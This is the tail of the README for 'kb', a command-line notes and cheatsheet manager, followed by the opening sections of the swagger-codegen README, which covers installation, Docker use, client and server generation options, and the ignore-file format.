to quickly and efficiently: - collect items containing notes,guides,procedures,cheatsheets into an organized knowledge base; - filter the knowledge base on different metadata: title, category, tags and others; - visualize items within the knowledge base with (or without) syntax highlighting; - grep through the knowledge base using regexes; - import/export an entire knowledge base; Basically, kb provides a clean text-based way to organize your knowledge. ## Installation **You should have Python 3.6 or above installed.** To install the most recent stable version of kb just type: ```sh pip install -U kb-manager ``` If you want to install the bleeding-edge version of kb (that may have some bugs) you should do: ```sh git clone https://github.com/gnebbia/kb cd kb pip install -r requirements.txt python setup.py install # or with pip pip install -U git+https://github.com/gnebbia/kb ``` **Tip** for GNU/Linux and MacOS users: For a better user experience, also set the following kb bash aliases: ```sh cat <<EOF > ~/.kb_alias alias kbl="kb list" alias kbe="kb edit" alias kba="kb add" alias kbv="kb view" alias kbd="kb delete --id" alias kbg="kb grep" alias kbt="kb list --tags" EOF echo "source ~/.kb_alias" >> ~/.bashrc source ~/.kb_alias ``` Please remember to upgrade kb frequently by doing: ```sh pip install -U kb-manager ``` ### Installation from AUR Arch Linux users can install [kb](https://aur.archlinux.org/packages/kb) or [kb-git](https://aur.archlinux.org/packages/kb-git) with their favorite [AUR Helper](https://wiki.archlinux.org/index.php/AUR_helpers). Stable: ```sh yay -S kb ``` Dev: ```sh yay -S kb-git ``` ### Installation from pkgsrc Of course it runs on NetBSD (and on pkgsrc). We can install it from pkgsrc source tree (databases/py-kb) or as a binary package using pkgin: ```sh pkgin in py38-kb ``` Note that at the moment the package is only available from -current repositories. ### Installation with homebrew To install using homebrew, use: ```sh brew tap gnebbia/kb https://github.com/gnebbia/kb.git brew install gnebbia/kb/kb ``` To upgrade with homebrew: ```sh brew update brew upgrade gnebbia/kb/kb ``` ### Notes for Windows users Windows users should keep in mind these things: - DO NOT USE notepad as %EDITOR%, kb is not compatible with notepad, a reasonable alternative is notepad++; - %EDITOR% variable should ALWAYS be enclosed within double quotes; ```sh EDITOR=C:\Program Files\Editor\my cool editor.exe -> WRONG! EDITOR="C:\Program Files\Editor\my cool editor.exe" -> OK! ``` To set the "EDITOR" Environment variable by using cmd.exe, just issue the following commands, after having inserted the path to your desired text editor: ```sh set EDITOR="C:\path\to\editor\here.exe" setx EDITOR "\"C:\path\to\editor\here.exe\"" ``` To set the "EDITOR" Environment variable by using Powershell, just issue the following commands, after having inserted the path to your desired text editor: ```sh $env:EDITOR='"C:\path\to\editor\here.exe"' [System.Environment]::SetEnvironmentVariable('EDITOR','"C:\path\to\editor\here.exe"', [System.EnvironmentVariableTarget]::User) ``` #### Setting Aliases for cmd Open a cmd.exe terminal with administrative rights and paste the following commands: ```sh reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor" /v "AutoRun" /t REG_EXPAND_SZ /d "%USERPROFILE%\autorun.cmd" ( echo @echo off echo doskey kbl=kb list $* echo doskey kbe=kb edit $* echo doskey kba=kb add $* echo doskey kbv=kb view $* echo doskey kbd=kb delete --id $* echo doskey kbg=kb grep $* echo doskey kbt=kb list --tags $* )> %USERPROFILE%\autorun.cmd ``` #### Setting Aliases for Powershell Open a Powershell terminal and paste the following commands: ```sh @' function kbl { kb list $args } function kbe { kb edit $args } function kba { kb add $args } function kbv { kb view $args } function kbd { kb delete --id $args } function kbg { kb grep $args } function kbt { kb list --tags $args } '@ > $env:USERPROFILE\Documents\WindowsPowerShell\profile.ps1 ``` ## Docker A docker setup has been included to help with development. To install and start the project with docker: ```sh docker-compose up -d docker-compose exec kb bash ``` The container has the aliases included in its `.bashrc` so you can use kb in the running container as you would if you installed it on the host directly. The `./docker/data` directory on the host is bound to `/data` in the container, which is the image's working directly also. To interact with the container, place (or symlink) the files on your host into the `./docker/data` directory, which can then be seen and used in the `/data` directory in the container. ## Usage A quick demo of a typical scenario using kb: ![](img/kb_general_demo.gif) A quick demo with kb aliases enabled: ![](img/kb_general_demo_alias.gif) A quick demo for non-text documents: ![](img/kb_non_text_demo.gif) ### List artifacts #### List all artifacts contained in the kb knowledge base ```sh kb list # or if aliases are used: kbl ``` ![](img/kb_list_all.gif) #### List all artifacts containing the string "zip" ```sh kb list zip # or if aliases are used: kbl zip ``` ![](img/kb_list_title_zip.gif) #### List all artifacts belonging to the category "cheatsheet" ```sh kb list --category cheatsheet # or kb list -c cheatsheet # or if aliases are used: kbl -c cheatsheet ``` ![](img/kb_list_category.gif) #### List all the artifacts having the tags "web" or "pentest" ```sh kb list --tags "web;pentest" # or if aliases are used: kbl --tags "web;pentest" ``` ![](img/kb_list_tags.gif) #### List using "verbose mode" ```sh kb list -v # or if aliases are used: kbl -v ``` ![](img/kb_list_verbose.gif) ### Add artifacts #### Add a file to the collection of artifacts ```sh kb add ~/Notes/cheatsheets/pytest # or if aliases are used: kba ~/Notes/cheatsheets/pytest ``` ![](img/kb_add.gif) #### Add a file to the artifacts ```sh kb add ~/ssh_tunnels --title pentest_ssh --category "procedure" \ --tags "pentest;network" --author "gnc" --status "draft" ``` ![](img/kb_add_title.gif) #### Add all files contained in a directory to kb ```sh kb add ~/Notes/cheatsheets/general/* --category "cheatsheet" ``` ![](img/kb_add_directory.gif) #### Create a new artifact from scratch ```sh kb add --title "ftp" --category "notes" --tags "protocol;network" # a text editor ($EDITOR) will be launched for editing ``` ![](img/kb_add_from_scratch.gif) #### Create a new artifact from the output of another program ```sh kb add --title "my_network_scan" --category "scans" --body "$(nmap -T5 -p80 192.168.1.0/24)" ``` ### Delete artifacts #### Delete an artifact by ID ```sh kb delete --id 2 # or if aliases are used: kbd 2 ``` #### Delete multiple artifacts by ID ```sh kb delete --id 2 3 4 # or if aliases are used: kbd 2 3 4 ``` ![](img/kb_delete_multiple.gif) #### Delete an artifact by name ```sh kb delete --title zap --category cheatsheet ``` ![](img/kb_delete_name.gif) ### View artifacts #### View an artifact by id ```sh kb view --id 3 # or kb view -i 3 # or kb view 3 # or if aliases are used: kbv 3 ``` ![](img/kb_view.gif) #### View an artifact by name ```sh kb view --title "gobuster" # or kb view -t "gobuster" # or kb view gobuster ``` ![](img/kb_view_title.gif) #### View an artifact without colors ```sh kb view -t dirb -n ``` ![](img/kb_view_title_nocolor.gif) #### View an artifact within a text-editor ```sh kb view -i 2 -e # or if aliases are used: kbv 2 -e ``` ![](img/kb_view_in_editor.gif) ### Edit artifacts Editing artifacts involves opening a text editor. Hence, binary files cannot be edited by kb. The editor can be set by the "EDITOR" environment variable. #### Edit an artifact by id ```sh kb edit --id 13 # or kbe 13 # or if aliases are used: kbe 13 ``` ![](img/kb_edit.gif) #### Edit an artifact by name ```sh kb edit --title "git" --category "cheatsheet" # or kb edit -t "git" -c "cheatsheet" # or if git is unique as artifact kb edit git ``` ### Grep through artifacts #### Grep through the knowledge base ```sh kb grep "[bg]zip" # or if aliases are used: kbg "[bg]zip" ``` ![](img/kb_grep.gif) #### Grep (case-insensitive) through the knowledge base ```sh kb grep -i "[BG]ZIP" ``` ![](img/kb_grep_case_insensitive.gif) #### Grep in "verbose mode" through the knowledge base ```sh kb grep -v "[bg]zip" ``` #### Grep through the knowledge base and show matching lines ```sh kb grep -m "[bg]zip" ``` ### Import/Export/Erase a knowledge base #### Export the current knowledge base To export the entire knowledge base, do: ```sh kb export ``` This will generate a .kb.tar.gz archive that can be later be imported by kb. ![](img/kb_export.gif) If you want to export only data (so that it can be used in other software): ```sh kb export --only-data ``` This will export a directory containing a subdirectory for each category and within these subdirectories we will have all the artifacts belonging to that specific category. #### Import a knowledge base ```sh kb import archive.kb.tar.gz ``` **NOTE**: Importing a knowledge base erases all the previous data. Basically it erases everything and imports the new knowledge base. ![](img/kb_import.gif) #### Erase the entire knowledge base ```sh kb erase ``` ![](img/kb_erase.gif) ### Manage Templates kb supports custom templates for the artifacts. A template is basically a file using the "toml" format, structured in this way: ```sh TITLES = [ "^#.*", "blue", ] WARNINGS = [ "!.*" , "yellow",] COMMENTS = [ ";;.*", "green", ] ``` Where the first element of each list is a regex and the second element is a color. Note that by default an artifact is assigned with the 'default' template, and this template can be changed too (look at "Edit a template" subsection). #### List available templates To list all available templates: ```sh kb template list ``` To list all the templates containing the string "theory": ```sh kb template list "theory" ``` #### Create a new template Create a new template called "lisp-cheatsheets", note that an example template will be put as example in the editor. ```sh kb template new lisp-cheatsheets ``` #### Delete a template To delete the template called "lisp-cheatsheets" just do: ```sh kb template delete lisp-cheatsheets ``` #### Edit a template To edit the template called "listp-cheatsheets" just do: ```sh kb template edit lisp-cheatsheets ``` #### Add a template We can also add a template from an already existing toml configuration file by just doing: ```sh kb template add ~/path/to/myconfig.toml --title myconfig ``` #### Change template for an artifact We can change the template for an existing artifact by ID by using the update command: ```sh kb update --id 2 --template "lisp-cheatsheets" ``` #### Apply a template to all artifacts of a category We can apply the template "lisp-cheatsheets" to all artifacts belonging to the category "lispcode" by doing: ```sh kb template apply "lisp-cheatsheets" --category "lispcode" ``` #### Apply a template to all artifacts having zip in their title We can apply the template "dark" to all artifacts having in their title the string "zip" (e.g., bzip, 7zip, zipper) by doing: ```sh kb template apply "dark" --title "zip" --extended-match # or kb template apply "dark" --title "zip" -m ``` We can always have our queries to "contain" the string by using the `--extended-match` option when using `kb template apply`. #### Apply a template to all artifacts having specific properties We can apply the template "light" to all artifacts of the category "cheatsheet" who have as author "gnc" and as status "OK" by doing: ```sh kb template apply "light" --category "cheatsheet" --author "gnc" --status "OK" ``` ### Integrating kb with other tools kb can be integrated with other tools. #### kb and rofi We can integrate kb with rofi, a custom mode has been developed accessible in the "misc" directory within this repository. We can launch rofi with this mode by doing: ```sh rofi -show kb -modi kb:/path/to/rofi-kb-mode.sh ``` ### Experimental #### Synchronize kb with a remote git repository Synchronization with a remote git repository is experimental at the moment. Anyway we can initialize our knowledge base to a created empty github/gitlab (other git service) repository by doing: ```sh kb sync init ``` We can then push our knowledge base to the remote git repository with: ```sh kb sync push ``` We can pull (e.g., from another machine) our knowledge base from the remote git repository with: ```sh kb sync pull ``` We can at any time view to what remote endpoint our knowledge is synchronizing to with: ```sh kb sync info ``` ## UPGRADE If you want to upgrade kb to the most recent stable release do: ```sh pip install -U kb-manager ``` If instead you want to update kb to the most recent release (that may be bugged), do: ```sh git clone https://github.com/gnebbia/kb cd kb pip install --upgrade . ``` ## FAQ Q) How do I solve the `AttributeError: module 'attr' has no attribute 's'` error? A) Uninstall attr and use attrs: ```sh pip uninstall attr pip uninstall attrs pip install attrs pip install -U kb-manager ``` ## DONATIONS I am an independent developer working on kb in my free time, if you like kb and would like to say thank you, buy me a beer! [![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://paypal.me/nebbione) ## COPYRIGHT Copyright 2020 Giuseppe Nebbione. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ## Similar projects - [Command Line Interface Pages](https://github.com/command-line-interface-pages) - [TlDr](https://github.com/tldr-pages/tldr) - [Cheat](https://github.com/cheat/cheat) - [Cheatsheets](https://github.com/rstacruz/cheatsheets) - [Eg](https://github.com/srsudar/eg)
# Swagger Code Generator - Master (2.3.0): [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/master.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Java Test](https://circleci.com/gh/swagger-api/swagger-codegen.svg?style=shield)](https://circleci.com/gh/swagger-api/swagger-codegen) - 3.0.0: [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/3.0.0.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Run Status](https://img.shields.io/shippable/5782588a3be4f4faa56c5bea/3.0.0.svg?label=Mustache%20Template%20Test)](https://app.shippable.com/projects/5782588a3be4f4faa56c5bea) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=3.0.0&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/WilliamCheng/swagger-codegen-wh2wu) [![Java Test](https://circleci.com/gh/swagger-api/swagger-codegen/tree/3.0.0.svg?style=shield)](https://circleci.com/gh/swagger-api/swagger-codegen) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project/badge.svg?style=plastic)](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project) [![PR Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/pr)](http://issuestats.com/github/swagger-api/swagger-codegen) [![Issue Stats](http://issuestats.com/github/swagger-api/swagger-codegen/badge/issue)](http://issuestats.com/github/swagger-api/swagger-codegen) :star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22).:star::star::star: :notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover: :warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning: :rocket: ProductHunt: https://producthunt.com/posts/swagger-codegen :rocket: ## Overview This is the swagger codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported: - **API clients**: **ActionScript**, **Ada**, **Apex**, **Bash**, **C#** (.net 2.0, 4.0 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Eiffel**, **Go**, **Groovy**, **Haskell** (http-client, Servant), **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign, RestTemplate, RESTEasy, Vertx), **Kotlin**, **Lua**, **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **PowerShell**, **Python**, **R**, **Ruby**, **Rust**, **Scala** (akka, http4s, swagger-async-httpclient), **Swift** (2.x, 3.x, 4.x), **Typescript** (Angular1.x, Angular2.x, Fetch, jQuery, Node) - **Server stubs**: **C#** (ASP.NET Core, NancyFx), **C++** (Pistache, Restbed), **Erlang**, **Go**, **Haskell** (Servant), **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy, Play Framework), **PHP** (Lumen, Slim, Silex, [Symfony](https://symfony.com/), [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Rust**, **Scala** ([Finch](https://github.com/finagle/finch), Scalatra) - **API documentation generators**: **HTML**, **Confluence Wiki** - **Configuration files**: [**Apache2**](https://httpd.apache.org/) - **Others**: **JMeter** Check out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project. # Table of contents - [Swagger Code Generator](#swagger-code-generator) - [Overview](#overview) - [Table of Contents](#table-of-contents) - Installation - [Compatibility](#compatibility) - [Prerequisites](#prerequisites) - [OS X Users](#os-x-users) - [Building](#building) - [Docker](#docker) - [Development in Docker](#development-in-docker) - [Run docker in Vagrant](#run-docker-in-vagrant) - [Public Docker image](#public-docker-image) - [Homebrew](#homebrew) - [Getting Started](#getting-started) - Generators - [To generate a sample client library](#to-generate-a-sample-client-library) - [Generating libraries from your server](#generating-libraries-from-your-server) - [Modifying the client library format](#modifying-the-client-library-format) - [Making your own codegen modules](#making-your-own-codegen-modules) - [Where is Javascript???](#where-is-javascript) - [Generating a client from local files](#generating-a-client-from-local-files) - [Customizing the generator](#customizing-the-generator) - [Validating your OpenAPI Spec](#validating-your-openapi-spec) - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation) - [Generating static html api documentation](#generating-static-html-api-documentation) - [To build a server stub](#to-build-a-server-stub) - [To build the codegen library](#to-build-the-codegen-library) - [Workflow Integration](#workflow-integration) - [Maven Integration](#maven-integration) - [Gradle Integration](#gradle-integration) - [Github Integration](#github-integration) - [Online Generators](#online-generators) - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/wiki/Guidelines-for-Contribution) - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen) - [Presentations/Videos/Tutorials/Books](#presentationsvideostutorialsbooks) - [Swagger Codegen Core Team](#swagger-codegen-core-team) - [Swagger Codegen Technical Committee](#swagger-codegen-technical-committee) - [License](#license) ## Compatibility The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The swagger-codegen project has the following compatibilities with the OpenAPI Specification: Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes -------------------------- | ------------ | -------------------------- | ----- 3.0.0 (upcoming major release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/swagger-codegen-cli/3.0.0-SNAPSHOT/)| TBD | 1.0, 1.1, 1.2, 2.0, 3.0 | Major release with breaking changes 2.3.0 (current master, upcoming minor release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/swagger-codegen-cli/2.3.0-SNAPSHOT/)| Jul/Aug 2017 | 1.0, 1.1, 1.2, 2.0 | Minor release with breaking changes [2.2.3](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.3) (**current stable**) | 2017-07-15 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.3](https://github.com/swagger-api/swagger-codegen/tree/v2.2.3) [2.2.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.2) | 2017-03-01 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-codegen/tree/v2.2.2) [2.2.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.2.1) | 2016-08-07 | 1.0, 1.1, 1.2, 2.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-codegen/tree/v2.2.1) [2.1.6](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.1.6) | 2016-04-06 | 1.0, 1.1, 1.2, 2.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-codegen/tree/v2.1.6) 2.0.17 | 2014-08-22 | 1.1, 1.2 | [tag v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/2.0.17) 1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1) ### Prerequisites If you're looking for the latest stable version, you can grab it directly from Maven.org (Java 7 runtime at a minimum): ```sh wget http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.3/swagger-codegen-cli-2.2.3.jar -O swagger-codegen-cli.jar java -jar swagger-codegen-cli.jar help ``` On a mac, it's even easier with `brew`: ```sh brew install swagger-codegen ``` To build from source, you need the following installed and available in your $PATH: * [Java 7 or 8](http://java.oracle.com) * [Apache maven 3.3.3 or greater](http://maven.apache.org/) #### OS X Users Don't forget to install Java 7 or 8. You probably have 1.6. Export JAVA_HOME in order to use the supported Java version: ```sh export JAVA_HOME=`/usr/libexec/java_home -v 1.8` export PATH=${JAVA_HOME}/bin:$PATH ``` ### Building After cloning the project, you can build it from source with this command: ```sh mvn clean package ``` ### Homebrew To install, run `brew install swagger-codegen` Here is an example usage: ```sh swagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/ ``` ### Docker #### Development in docker You can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen` in the docker container. It also maps `~/.m2/repository` to the appropriate container location. To execute `mvn package`: ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen ./run-in-docker.sh mvn package ``` Build artifacts are now accessible in your working directory. Once built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example: ```sh ./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli ./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli ./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client ./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \ -l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore ``` #### Run Docker in Vagrant Prerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads). ```sh git clone http://github.com/swagger-api/swagger-codegen.git cd swagger-codegen vagrant up vagrant ssh cd /vagrant ./run-in-docker.sh mvn package ``` #### Public Pre-built Docker images - https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service) - https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI) ##### Swagger Generator Docker Image The Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code. Example usage (note this assumes `jq` is installed for command line processing of JSON): ```sh # Start container and save the container id CID=$(docker run -d swaggerapi/swagger-generator) # allow for startup sleep 5 # Get the IP of the running container GEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID) # Execute an HTTP request and store the download link RESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ "swaggerUrl": "http://petstore.swagger.io/v2/swagger.json" }' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '"') # Download the generated zip and redirect to a file curl $RESULT > result.zip # Shutdown the swagger generator image docker stop $CID && docker rm $CID ``` In the example above, `result.zip` will contain the generated client. ##### Swagger Codegen CLI Docker Image The Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version. To generate code with this image, you'll need to mount a local location as a volume. Example: ```sh docker run --rm -v ${PWD}:/local swaggerapi/swagger-codegen-cli generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l go \ -o /local/out/go ``` The generated code will be located under `./out/go` in the current directory. ## Getting Started To generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following ```sh git clone https://github.com/swagger-api/swagger-codegen cd swagger-codegen mvn clean package java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l php \ -o /var/tmp/php_api_client ``` (if you're on Windows, replace the last command with `java -jar modules\swagger-codegen-cli\target\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\temp\php_api_client`) You can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.3/swagger-codegen-cli-2.2.3.jar) To get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate` To get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php` ## Generators ### To generate a sample client library You can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows: ```sh ./bin/java-petstore.sh ``` (On Windows, run `.\bin\windows\java-petstore.bat` instead) This will run the generator with this command: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \ -i http://petstore.swagger.io/v2/swagger.json \ -l java \ -o samples/client/petstore/java ``` with a number of options. You can get the options with the `help generate` command (below only shows partal results): ``` NAME swagger-codegen-cli generate - Generate code with chosen lang SYNOPSIS swagger-codegen-cli generate [(-a <authorization> | --auth <authorization>)] [--additional-properties <additional properties>...] [--api-package <api package>] [--artifact-id <artifact id>] [--artifact-version <artifact version>] [(-c <configuration file> | --config <configuration file>)] [-D <system properties>...] [--git-repo-id <git repo id>] [--git-user-id <git user id>] [--group-id <group id>] [--http-user-agent <http user agent>] (-i <spec file> | --input-spec <spec file>) [--ignore-file-override <ignore file override location>] [--import-mappings <import mappings>...] [--instantiation-types <instantiation types>...] [--invoker-package <invoker package>] (-l <language> | --lang <language>) [--language-specific-primitives <language specific primitives>...] [--library <library>] [--model-name-prefix <model name prefix>] [--model-name-suffix <model name suffix>] [--model-package <model package>] [(-o <output directory> | --output <output directory>)] [--release-note <release note>] [--remove-operation-id-prefix] [--reserved-words-mappings <reserved word mappings>...] [(-s | --skip-overwrite)] [(-t <template directory> | --template-dir <template directory>)] [--type-mappings <type mappings>...] [(-v | --verbose)] OPTIONS -a <authorization>, --auth <authorization> adds authorization headers when fetching the swagger definitions remotely. Pass in a URL-encoded string of name:header with a comma separating multiple values ...... (results omitted) -v, --verbose verbose mode ``` You can then compile and run the client, as well as unit tests against it: ```sh cd samples/client/petstore/java mvn package ``` Other languages have petstore samples, too: ```sh ./bin/android-petstore.sh ./bin/java-petstore.sh ./bin/objc-petstore.sh ``` ### Generating libraries from your server It's just as easy--just use the `-i` flag to point to either a server or file. ### Modifying the client library format Don't like the default swagger client syntax? Want a different language supported? No problem! Swagger codegen processes mustache templates with the [jmustache](https://github.com/samskivert/jmustache) engine. You can modify our templates or make your own. You can look at `modules/swagger-codegen/src/main/resources/${your-language}` for examples. To make your own templates, create your own files and use the `-t` flag to specify your template folder. It actually is that easy. ### Making your own codegen modules If you're starting a project with a new language and don't see what you need, swagger-codegen can help you create a project to generate your own libraries: ```sh java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar meta \ -o output/myLibrary -n myClientCodegen -p com.my.company.codegen ``` This will write, in the folder `output/myLibrary`, all the files you need to get started, including a README.md. Once modified and compiled, you can load your library with the codegen and generate clients with your own, custom-rolled logic. You would then compile your library in the `output/myLibrary` folder with `mvn package` and execute the codegen like such: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` For Windows users, you will need to use `;` instead of `:` in the classpath, e.g. ``` java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar;modules/swagger-codegen-cli/target/swagger-codegen-cli.jar io.swagger.codegen.SwaggerCodegen ``` Note the `myClientCodegen` is an option now, and you can use the usual arguments for generating your library: ```sh java -cp output/myLibrary/target/myClientCodegen-swagger-codegen-1.0.0.jar:modules/swagger-codegen-cli/target/swagger-codegen-cli.jar \ io.swagger.codegen.SwaggerCodegen generate -l myClientCodegen\ -i http://petstore.swagger.io/v2/swagger.json \ -o myClient ``` ### Where is Javascript??? See our [javascript library](http://github.com/swagger-api/swagger-js)--it's completely dynamic and doesn't require static code generation. There is a third-party component called [swagger-js-codegen](https://github.com/wcandillon/swagger-js-codegen) that can generate angularjs or nodejs source code from a OpenAPI Specification. :exclamation: On Dec 7th 2015, a Javascript API client generator has been added by @jfiala. ### Generating a client from local files If you don't want to call your server, you can save the OpenAPI Spec files into a directory and pass an argument to the code generator like this: ``` -i ./modules/swagger-codegen/src/test/resources/2_0/petstore.json ``` Great for creating libraries on your ci server, from the [Swagger Editor](http://editor.swagger.io)... or while coding on an airplane. ### Selective generation You may not want to generate *all* models in your project. Likewise you may want just one or two apis to be written. If that's the case, you can use system properties to control the output: The default is generate *everything* supported by the specific library. Once you enable a feature, it will restrict the contents generated: ```sh # generate only models java -Dmodels {opts} # generate only apis java -Dapis {opts} # generate only supporting files java -DsupportingFiles # generate models and supporting files java -Dmodels -DsupportingFiles ``` To control the specific files being generated, you can pass a CSV list of what you want: ```sh # generate the User and Pet models only -Dmodels=User,Pet # generate the User model and the supportingFile `StringUtil.java`: -Dmodels=User -DsupportingFiles=StringUtil.java ``` To control generation of docs and tests for api and models, pass false to the option. For api, these options are `-DapiTests=false` and `-DapiDocs=false`. For models, `-DmodelTests=false` and `-DmodelDocs=false`. These options default to true and don't limit the generation of the feature options listed above (like `-Dapi`): ```sh # generate only models (with tests and documentation) java -Dmodels {opts} # generate only models (with tests but no documentation) java -Dmodels -DmodelDocs=false {opts} # generate only User and Pet models (no tests and no documentation) java -Dmodels=User,Pet -DmodelTests=false {opts} # generate only apis (without tests) java -Dapis -DapiTests=false {opts} # generate only apis (modelTests option is ignored) java -Dapis -DmodelTests=false {opts} ``` When using selective generation, _only_ the templates needed for the specific generation will be used. ### Ignore file format Swagger codegen supports a `.swagger-codegen-ignore` file, similar to `.gitignore` or `.dockerignore` you're probably already familiar with. The ignore file allows for better control over overwriting existing files than the `--skip-overwrite` flag. With the ignore file, you can specify individual files or directories can be ignored. This can be useful, for example if you only want a subset of the generated code. Examples: ```sh # Swagger Codegen Ignore # Lines beginning with a # are comments # This should match build.sh located anywhere. build.sh # Matches build.sh in the root /build.sh # Exclude all recursively docs/** # Explicitly allow files excluded by other rules !docs/UserApi.md # Recursively exclude directories named Api # You can't negate files below this directory. src/**/Api/ # When this file is nested under /Api (excluded above), # this rule is ignored because parent directory is excluded by previous rule. !src/**/PetApiTests.cs # Exclude a single, nested file explicitly src/IO.Swagger.Test/Model/AnimalFarmTests.cs ``` The `.swagger-codegen-ignore` file must exist in the root of the output directory. Upon first code generation, you may also pass the CLI option `--ignore-file-override=/path/to/ignore_file` for greater control over generated outputs. Note that this is a complete override, and will override the `.swagger-codegen-ignore` file in an output directory when regenerating code. Editor support 